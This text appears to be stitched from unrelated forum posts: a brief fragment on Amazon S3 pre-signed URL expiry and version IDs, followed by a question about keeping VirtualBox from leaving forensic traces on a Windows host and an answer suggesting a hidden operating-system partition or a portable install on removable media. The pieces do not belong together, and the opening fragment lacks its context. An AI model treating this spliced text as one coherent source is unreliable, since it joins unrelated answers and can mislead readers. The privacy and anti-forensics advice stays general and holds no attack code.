Also potentially noteworthy, the expiration time on a pre-signed URL is checked when the request arrives at S3.  You shouldn't need to finish the upload in 10 seconds, you only need to start the upload within 10 seconds.  This is at least true for download pre-signed URLs... but should be true for uploads as well.

Modifying your code to look at a specific version is a non-starter, because querying S3 to learn that version ID each time is slow and costly.


Is it possible to prevent VirtualBox (or other VM) from leaving traces on host? The context: I already use FDE on my system drive (strong cipher, long unguessable password, etc.), but on the off-chance that my password is stolen or my computer is cold-booted, I want to prevent any potential adversary (assume one who’s skilled and resourceful, such as a hacker with knowledge of computer forensics) from learning about my more private activities on my computer – records of visiting certain websites, handling sensitive files (such as protected work documents), private communications, and so on.

The setup: I have VirtualBox installed on my (Host) machine using the standard installer and settings. I have a VM/Guest OS for those aforementioned private activities so that traces aren’t left on the Host (or at least aren’t immediately obvious – no “Recent Files” entries, browser history, etc). The Guest VDI (virtual hard drive) is stored in a separate, encrypted partition (which uses a different password from my Host’s drive).

(In case it may be relevant, the Host OS is Windows 8.1 Pro; the Guest OS is Windows 7 Ultimate.)

As I understand it, this setup means that when VirtualBox is shut down, the Guest OS is inaccessible without the password to its encrypted partition; however, VirtualBox may leave traces of its operation and my activities within it on the Host OS (such as log files, temporary files, registry entries, etc.). I do not know what information VirtualBox actually stores about the contents of its VMs or what users do with them, so I’m assuming the worst-case scenario: records of files opened and modified, websites visited, people communicated with, etc. (I know this is likely paranoid, but I’d rather be safe than sorry.)

My question: Is it possible to install or configure VirtualBox in such a way that it doesn’t leave any aforementioned traces (logs, temporary files, registry entries, etc.) on the Host OS drive? To be clear, I’m concerned less with hiding the existence of VirtualBox or the VM, and more with concealing the what I do within that VM when it’s running. If I can accomplish the latter, I’ll be satisfied.

One idea I had is to use Portable-VirtualBox, which claims to force VirtualBox to use relative paths for its files so that they’re all stored in the same directory Portable-VirtualBox is installed in (instead of “<User>\AppData” and so on). Using this in a VeraCrypt volume would be ideal for me, but I haven’t tested it yet, and at any rate I don’t know what traces Portable-VirtualBox may still leave behind on the Host OS.

(As to why I don’t use a bootable live system such as Tails, I’d prefer to still be able to use my regular OS at the same time without needing to shut one down to boot the other, hence why I want to use a VM if at all possible. I plan to purchase a separate computer in the future for all this, at which point a VM will no longer be necessary, but that’s not for a while.)

Please let me know if anything about my question is unclear. Thanks for any thoughts or advice.

The mere presence of a VDI (or vmdk) file is an evidence that the host contains a VM. Worse, depending on the configuration of the network, you may have special drivers that clearly state that you do use virtualization on this host.

I can only imagine 2 ways for hiding that:

the standard one is to have a simple normal VM and a hidden Operating System partition in that VM. You show that you use VirtualBox but hide what you do with it...
alternatively, you can use a portable installation on a removable media. When the removable media is not connected, you can pretend that you had used VirtualBox, but no longer use it.

Windows logging system is a pretty good tool, and virtualization may require special network drivers.So except if you know it well and carefully analyze all possible traces, I would not rely on the possibility of hiding any traces but more on just pretending the data you want is not there.